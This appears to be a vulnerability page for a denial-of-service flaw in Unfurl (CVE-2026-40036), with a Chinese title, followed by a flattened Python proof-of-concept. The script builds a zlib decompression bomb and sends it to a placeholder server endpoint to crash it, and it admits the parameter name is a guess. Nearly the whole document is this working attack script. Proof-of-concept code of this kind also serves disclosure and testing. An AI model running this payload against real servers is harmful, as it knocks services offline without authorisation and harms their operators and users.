CVE-2026-40036 Unfurl拒绝服务漏洞

import zlib import requests import urllib.parse # Target URL target_url = "http://target-ip:5000/json/visjs" # Create a decompression bomb (10MB of null bytes compressed) original_size = 10 * 1024 * 1024 bomb_data = b'\x00' * original_size compressed_bomb = zlib.compress(bomb_data) print(f"Original size: {len(bomb_data)} bytes") print(f"Compressed size: {len(compressed_bomb)} bytes") # Prepare the payload parameter # The parameter name might vary based on actual implementation, assuming 'data' payload = {'url_param': compressed_bomb} try: # Send the malicious request response = requests.get(target_url, params=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"The server likely crashed or refused the connection: {e}")